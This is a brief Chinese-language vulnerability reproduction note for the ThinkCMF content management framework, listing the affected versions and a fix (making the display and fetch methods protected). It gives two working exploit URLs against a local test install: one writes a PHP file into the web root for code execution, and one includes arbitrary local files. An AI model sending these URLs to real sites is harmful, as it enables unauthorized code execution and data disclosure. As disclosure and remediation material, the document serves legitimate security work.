0x01 簡介
ThinkCMF是一款基於ThinkPHP+MYSQL開發的中文內容管理框架。ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。
但是由於代碼漏洞,可以構造惡意url造成文件包含/上傳漏洞。
0x02 漏洞版本
- ThinkCMF X1.6.0
- ThinkCMF X2.1.0
- ThinkCMF X2.2.0
- ThinkCMF X2.2.1
- ThinkCMF X2.2.2
0x03 環境搭建
ThinkCMF X2.2.2 下載:https://github.com/SaltNego/much_tools
0x04 漏洞復現
通過fetch方法和content參數,控制寫入內容在當前web目錄寫入php文件,造成代碼執行
http://127.0.0.1/ThinkCMFX/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('196a4758191e42f7.php','<?php echo $showtime=date("Y-m-d H:i:s");phpinfo(); ?>')</php>
通過display方法和templateFile參數進行包含任意文件
http://127.0.0.1/ThinkCMFX/?a=display&templateFile=C:\WindowsUpdate.log
0x05 修復建議
將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數的修飾符改爲 protected